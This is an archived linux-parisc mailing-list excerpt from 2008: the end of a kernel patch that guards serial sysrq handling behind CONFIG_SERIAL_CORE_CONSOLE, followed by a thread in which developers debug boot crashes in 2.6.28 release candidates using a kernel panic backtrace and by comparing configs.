This patch works around the problem by checking for SUPPORT_SYSRQ _and_ CONFIG_SERIAL_CORE_CONSOLE before accessing the "sysrq" member of struct uart_port.

Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/include/linux/serial_core.h b/include/linux/serial_core.h
index 4e4f127..b9d79f1 100644
--- a/include/linux/serial_core.h
+++ b/include/linux/serial_core.h
@@ -446,7 +446,7 @@ int uart_resume_port(struct uart_driver *reg, struct uart_port *port);
 static inline int
 uart_handle_sysrq_char(struct uart_port *port, unsigned int ch)
 {
-#ifdef SUPPORT_SYSRQ
+#if defined(SUPPORT_SYSRQ) && defined(CONFIG_SERIAL_CORE_CONSOLE)
 	if (port->sysrq) {
 		if (ch && time_before(jiffies, port->sysrq)) {
 			handle_sysrq(ch, port->info ? port->info->port.tty : NULL);
@@ -458,9 +458,6 @@ uart_handle_sysrq_char(struct uart_port *port, unsigned int ch)
 #endif
 	return 0;
 }
-#ifndef SUPPORT_SYSRQ
-#define uart_handle_sysrq_char(port,ch) uart_handle_sysrq_char(port, 0)
-#endif
 
 /*
  * We do the SysRQ and SAK checking like this...
@@ -468,7 +465,7 @@ uart_handle_sysrq_char(struct uart_port *port, unsigned int ch)
 static inline int uart_handle_break(struct uart_port *port)
 {
 	struct uart_info *info = port->info;
-#ifdef SUPPORT_SYSRQ
+#if defined(SUPPORT_SYSRQ) && defined(CONFIG_SERIAL_CORE_CONSOLE)
 	if (port->cons && port->cons->index == port->line) {
 		if (!port->sysrq) {
 			port->sysrq = jiffies + HZ*5;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: 2.6.28-rcX in pretty bad shape on parisc
Date: Tue, 18 Nov 2008 21:04:32 +0100
Lines: 81
Approved: news@gmane.org
Message-ID: <49231FD0.9040409@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227038696 20576 80.91.229.12 (18 Nov 2008 20:04:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Nov 2008 20:04:56 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 18 21:05:56 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L2Wpe-0000Cd-Uv
	for glpp-linux-parisc@gmane.org; Tue, 18 Nov 2008 21:05:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752233AbYKRUEn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Nov 2008 15:04:43 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752319AbYKRUEn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Nov 2008 15:04:43 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:46531 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752233AbYKRUEm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Nov 2008 15:04:42 -0500
Original-Received: (qmail invoked by alias); 18 Nov 2008 20:04:37 -0000
Original-Received: from mnhm-590e036a.pool.einsundeins.de (EHLO halden.box) [89.14.3.106]
  by mail.gmx.net (mp007) with SMTP; 18 Nov 2008 21:04:37 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18701w2eBU7M6jOQR0uULprJowqVCaS6fNWj+7EIn
	Ox8sXyujxYrMHf
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:838
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/838>

Hello PA hackers,

I've tried various -rc candidates in the last few weeks, and sadly the 
parisc kernel is in pretty bad shape.

At the beginning I started to get problems only when I had USB 
keyboard/mouse attached to the PA machine. This lead to bugzilla 
http://bugzilla.kernel.org/show_bug.cgi?id=11913

Now, with -rc4 and -rc5 things got even worse.

Crashes happen often just directly at the beginning.
I'm sure it's not USB related any more, and I assume we have some 
strange mm-problem somewhere.
The kernel crashes at various places, and mostly a null-pointer is involved.

Right now I'm clueless...

Helge

PS: I'm happy that I just recently bought this one: 
http://www.gembird.cn/main.asp?mode=item&N=5915
------------

Here ist just one of the latest crashes (c3k, UP, CONFIG_SMP not set, 
2.6.28-rc5):
.....
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
PDC Stable Storage facility v0.30
Backtrace:
  [<1018b6a4>] __kmalloc+0xa4/0xec
  [<101718f4>] kstrdup+0x38/0x6c
  [<101d9090>] sysfs_new_dirent+0x54/0xf4
  [<101da0dc>] sysfs_do_create_link+0xcc/0x19c
  [<106cd644>] pdc_stable_init+0x1cc/0x2b4
  [<1010d998>] do_one_initcall+0x70/0x190
  [<106b9cf8>] do_initcalls+0x30/0x4c
  [<106b9df8>] kernel_init+0x64/0xac
  [<10113c5c>] ret_from_kernel_thread+0x1c/0x24


Kernel Fault: Code=26 regs=8f820500 (Addr=00000000)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111000001110 Not tainted
r00-03  0004fe0e 00000000 1018b18c 8ed92000
r04-07  8f8068ec 8f8020c0 8f806800 ffffffff
r08-11  8f800180 8f8020e4 000000d0 1066aa60
r12-15  00000000 ffffffff 00000000 f0400004
r16-19  f0000884 f000017c f0000174 00000000
r20-23  00000000 00000000 8ed9201c 00000001
r24-27  00000000 00000000 00002000 10607260
r28-31  00000000 00000000 8f820500 1018ae38
sr00-03  00000000 00000000 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1018b1b0 1018b1b4
  IIR: 0e931280    ISR: 00000000  IOR: 00000000
  CPU:        0   CR30: 8f820000 CR31: ffffffff
  ORIG_R28: 8f80f888
  IAOQ[0]: cache_alloc_refill+0x10c/0x208
  IAOQ[1]: cache_alloc_refill+0x110/0x208
  RP(r2): cache_alloc_refill+0xe8/0x208
Backtrace:
  [<1018b6a4>] __kmalloc+0xa4/0xec
  [<101718f4>] kstrdup+0x38/0x6c
  [<101d9090>] sysfs_new_dirent+0x54/0xf4
  [<101da0dc>] sysfs_do_create_link+0xcc/0x19c
  [<106cd644>] pdc_stable_init+0x1cc/0x2b4
  [<1010d998>] do_one_initcall+0x70/0x190
  [<106b9cf8>] do_initcalls+0x30/0x4c
  [<106b9df8>] kernel_init+0x64/0xac
  [<10113c5c>] ret_from_kernel_thread+0x1c/0x24

Kernel panic - not syncing: Kernel Fault
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Wed, 19 Nov 2008 02:33:10 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <7d01f9f00811181733q268a7221m256f4845494253b7@mail.gmail.com>
References: <49231FD0.9040409@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227058404 19476 80.91.229.12 (19 Nov 2008 01:33:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Nov 2008 01:33:24 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 19 02:34:25 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L2bxY-0003l4-5c
	for glpp-linux-parisc@gmane.org; Wed, 19 Nov 2008 02:34:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751408AbYKSBdN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Nov 2008 20:33:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751495AbYKSBdM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Nov 2008 20:33:12 -0500
Original-Received: from rv-out-0506.google.com ([209.85.198.237]:61897 "EHLO
	rv-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751408AbYKSBdL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Nov 2008 20:33:11 -0500
Original-Received: by rv-out-0506.google.com with SMTP id k40so3167886rvb.1
        for <linux-parisc@vger.kernel.org>; Tue, 18 Nov 2008 17:33:11 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=w0cSki/i/y2zLPs6KP7h6v4Sq3o+G12/YuehYukNL+Q=;
        b=xIoWApNYgznGJPDZK7u68zJpjyUX0nq2jFAaX8PTxlhnWAek/zD22fCsAQ6j3ECQ0t
         V6P9EOYGxV8Eov3gkvpLaMjRMNsCD4eR2c5+OI2NTNktMnnS67f9wxC1YFo44fDDFBOx
         kcGcaGXy3tEqpbcz+tiJE8sXcXbV0xnmrowPk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=rIGKxSg3O4An/Jgmsc8BUUoamcywypfQkWNXKJfryxhQKztSkBepIAOUjAHniKydQK
         L2yDN+qEnyfQzjbQuf1vuLMaETnEx9TrWw0Blo1csT+zy6zI+pg7pogaaxPQMHVDX45C
         tRcc3ik3TxyD/aTvXOIrXR8AA1LHBol/9+sJ0=
Original-Received: by 10.142.84.3 with SMTP id h3mr226345wfb.149.1227058390843;
        Tue, 18 Nov 2008 17:33:10 -0800 (PST)
Original-Received: by 10.142.237.8 with HTTP; Tue, 18 Nov 2008 17:33:10 -0800 (PST)
In-Reply-To: <49231FD0.9040409@gmx.de>
Content-Disposition: inline
X-Google-Sender-Auth: 027ce731f632bba2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:839
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/839>

On Tue, Nov 18, 2008 at 9:04 PM, Helge Deller <deller@gmx.de> wrote:

> Here ist just one of the latest crashes (c3k, UP, CONFIG_SMP not set,
> 2.6.28-rc5):
> .....
> SuperIO: ACPI at 0x7e0
> SuperIO: USB regulator enabled
> PDC Stable Storage facility v0.30
> Backtrace:
>  [<1018b6a4>] __kmalloc+0xa4/0xec
>  [<101718f4>] kstrdup+0x38/0x6c
>  [<101d9090>] sysfs_new_dirent+0x54/0xf4
>  [<101da0dc>] sysfs_do_create_link+0xcc/0x19c
>  [<106cd644>] pdc_stable_init+0x1cc/0x2b4

Wild guess since my baby's into this mess: somebody fucked
up^W^Wmodified some code in sysfs and didn't care enough about the
consequences.

Last time this code was touched it was Greg KH updating it for sysfs
changes, and the backtrace seems to point in that area again, hence
the guess...

HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Wed, 19 Nov 2008 11:31:42 +0900
Lines: 35
Approved: news@gmane.org
Message-ID: <1227061902.10371.11.camel@localhost.localdomain>
References: <49231FD0.9040409@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227061937 27480 80.91.229.12 (19 Nov 2008 02:32:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Nov 2008 02:32:17 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 19 03:33:19 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L2csY-0000e4-VX
	for glpp-linux-parisc@gmane.org; Wed, 19 Nov 2008 03:33:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752755AbYKSCbt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Nov 2008 21:31:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752781AbYKSCbt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Nov 2008 21:31:49 -0500
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:51761 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752755AbYKSCbs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Nov 2008 21:31:48 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 3FE7E8110;
	Tue, 18 Nov 2008 20:31:46 -0600 (CST)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id dZXL4WMEmRla; Tue, 18 Nov 2008 20:31:45 -0600 (CST)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 279F17FA3;
	Tue, 18 Nov 2008 20:31:43 -0600 (CST)
In-Reply-To: <49231FD0.9040409@gmx.de>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:840
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/840>

On Tue, 2008-11-18 at 21:04 +0100, Helge Deller wrote:
> I've tried various -rc candidates in the last few weeks, and sadly the 
> parisc kernel is in pretty bad shape.
> 
> At the beginning I started to get problems only when I had USB 
> keyboard/mouse attached to the PA machine. This lead to bugzilla 
> http://bugzilla.kernel.org/show_bug.cgi?id=11913
> 
> Now, with -rc4 and -rc5 things got even worse.
> 
> Crashes happen often just directly at the beginning.
> I'm sure it's not USB related any more, and I assume we have some 
> strange mm-problem somewhere.

I'd be really dubious about that.  Our pa8900 ... the most mm unstable
system we have ... is running -rc5 just fine.  The only warning before
boot is the usual SMP one.

Linux ion 2.6.28-rc5 #20 SMP Tue Nov 18 18:16:35 PST 2008 parisc64

Why don't we compare configs?  This is mine for ion:

http://parisc-linux.org/~jejb/config-2.6.28-rc5-ion

I suspect we have some nasty interaction in the device driver subsystem
(ion, the pa8900, isn't running either USB or PDC stable).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Wed, 19 Nov 2008 10:13:27 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20081119091327.GB3270@tilt.dandreoli.com>
References: <49231FD0.9040409@gmx.de> <1227061902.10371.11.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1227086026 15536 80.91.229.12 (19 Nov 2008 09:13:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Nov 2008 09:13:46 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 19 10:14:46 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L2j93-0005zy-1D
	for glpp-linux-parisc@gmane.org; Wed, 19 Nov 2008 10:14:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752005AbYKSJNd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Nov 2008 04:13:33 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752080AbYKSJNd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 19 Nov 2008 04:13:33 -0500
Original-Received: from ug-out-1314.google.com ([66.249.92.169]:27297 "EHLO
	ug-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752005AbYKSJNc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Nov 2008 04:13:32 -0500
Original-Received: by ug-out-1314.google.com with SMTP id 39so455873ugf.37
        for <linux-parisc@vger.kernel.org>; Wed, 19 Nov 2008 01:13:30 -0800 (PST)
Original-Received: by 10.67.121.14 with SMTP id y14mr2818637ugm.72.1227086010095;
        Wed, 19 Nov 2008 01:13:30 -0800 (PST)
Original-Received: from tilt.localdomain (mnl.crema.unimi.it [159.149.71.27])
        by mx.google.com with ESMTPS id w40sm5148659ugc.6.2008.11.19.01.13.28
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Wed, 19 Nov 2008 01:13:29 -0800 (PST)
Original-Received: by tilt.localdomain (Postfix, from userid 1000)
	id 429676D7; Wed, 19 Nov 2008 10:13:27 +0100 (CET)
Mail-Followup-To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
Content-Disposition: inline
In-Reply-To: <1227061902.10371.11.camel@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:841
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/841>

On Wed, Nov 19, 2008 at 11:31:42AM +0900, James Bottomley wrote:
> On Tue, 2008-11-18 at 21:04 +0100, Helge Deller wrote:
> > I've tried various -rc candidates in the last few weeks, and sadly the 
> > parisc kernel is in pretty bad shape.
> > 
> > At the beginning I started to get problems only when I had USB 
> > keyboard/mouse attached to the PA machine. This lead to bugzilla 
> > http://bugzilla.kernel.org/show_bug.cgi?id=11913
> > 
> > Now, with -rc4 and -rc5 things got even worse.
> > 
> > Crashes happen often just directly at the beginning.
> > I'm sure it's not USB related any more, and I assume we have some 
> > strange mm-problem somewhere.
> 
> I'd be really dubious about that.  Our pa8900 ... the most mm unstable
> system we have ... is running -rc5 just fine.  The only warning before
> boot is the usual SMP one.

my j5600 is also running fine

> Linux ion 2.6.28-rc5 #20 SMP Tue Nov 18 18:16:35 PST 2008 parisc64

parisc64 SMP? have you all the cpu online?

> Why don't we compare configs?  This is mine for ion:
> 
> http://parisc-linux.org/~jejb/config-2.6.28-rc5-ion

https://mnl.crema.unimi.it/~cavok/config-2.6.28-rc5

ciao,
Domenico

-----[ Domenico Andreoli, aka cavok
 --[ http://www.dandreoli.com/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Wed, 19 Nov 2008 23:20:23 +0900
Lines: 36
Approved: news@gmane.org
Message-ID: <1227104423.10371.18.camel@localhost.localdomain>
References: <49231FD0.9040409@gmx.de>
	 <1227061902.10371.11.camel@localhost.localdomain>
	 <20081119091327.GB3270@tilt.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227104442 11817 80.91.229.12 (19 Nov 2008 14:20:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Nov 2008 14:20:42 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Domenico Andreoli <cavokz@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 19 15:21:42 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L2nw5-0008KW-NF
	for glpp-linux-parisc@gmane.org; Wed, 19 Nov 2008 15:21:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752692AbYKSOUa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Nov 2008 09:20:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752864AbYKSOUa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 19 Nov 2008 09:20:30 -0500
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:50083 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752692AbYKSOUa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Nov 2008 09:20:30 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 9902481AD;
	Wed, 19 Nov 2008 08:20:28 -0600 (CST)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id UA4Uf6vZlyoa; Wed, 19 Nov 2008 08:20:27 -0600 (CST)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 4A0AA8007;
	Wed, 19 Nov 2008 08:20:26 -0600 (CST)
In-Reply-To: <20081119091327.GB3270@tilt.dandreoli.com>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:842
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/842>

On Wed, 2008-11-19 at 10:13 +0100, Domenico Andreoli wrote:
> On Wed, Nov 19, 2008 at 11:31:42AM +0900, James Bottomley wrote:
> > On Tue, 2008-11-18 at 21:04 +0100, Helge Deller wrote:
> > > I've tried various -rc candidates in the last few weeks, and sadly the 
> > > parisc kernel is in pretty bad shape.
> > > 
> > > At the beginning I started to get problems only when I had USB 
> > > keyboard/mouse attached to the PA machine. This lead to bugzilla 
> > > http://bugzilla.kernel.org/show_bug.cgi?id=11913
> > > 
> > > Now, with -rc4 and -rc5 things got even worse.
> > > 
> > > Crashes happen often just directly at the beginning.
> > > I'm sure it's not USB related any more, and I assume we have some 
> > > strange mm-problem somewhere.
> > 
> > I'd be really dubious about that.  Our pa8900 ... the most mm unstable
> > system we have ... is running -rc5 just fine.  The only warning before
> > boot is the usual SMP one.
> 
> my j5600 is also running fine
> 
> > Linux ion 2.6.28-rc5 #20 SMP Tue Nov 18 18:16:35 PST 2008 parisc64
> 
> parisc64 SMP? have you all the cpu online?

Yes, all four (two sockets, two cores).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Wed, 19 Nov 2008 10:12:21 -0500 (EST)
Lines: 27
Approved: news@gmane.org
Message-ID: <20081119151221.AE1294EAE@hiauly1.hia.nrc.ca>
References: <1227104423.10371.18.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227107998 25793 80.91.229.12 (19 Nov 2008 15:19:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Nov 2008 15:19:58 +0000 (UTC)
Cc: cavokz@gmail.com, deller@gmx.de, linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 19 16:20:59 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L2orR-0001YK-MX
	for glpp-linux-parisc@gmane.org; Wed, 19 Nov 2008 16:20:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753723AbYKSPTq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Nov 2008 10:19:46 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753696AbYKSPTq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 19 Nov 2008 10:19:46 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4209 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753723AbYKSPTp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Nov 2008 10:19:45 -0500
X-Greylist: delayed 443 seconds by postgrey-1.27 at vger.kernel.org; Wed, 19 Nov 2008 10:19:45 EST
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id AE1294EAE; Wed, 19 Nov 2008 10:12:21 -0500 (EST)
In-Reply-To: <1227104423.10371.18.camel@localhost.localdomain> from "James Bottomley" at Nov 19, 2008 11:20:23 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:843
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/843>

> > > I'd be really dubious about that.  Our pa8900 ... the most mm unstable
> > > system we have ... is running -rc5 just fine.  The only warning before
> > > boot is the usual SMP one.
> > 
> > my j5600 is also running fine
> > 
> > > Linux ion 2.6.28-rc5 #20 SMP Tue Nov 18 18:16:35 PST 2008 parisc64
> > 
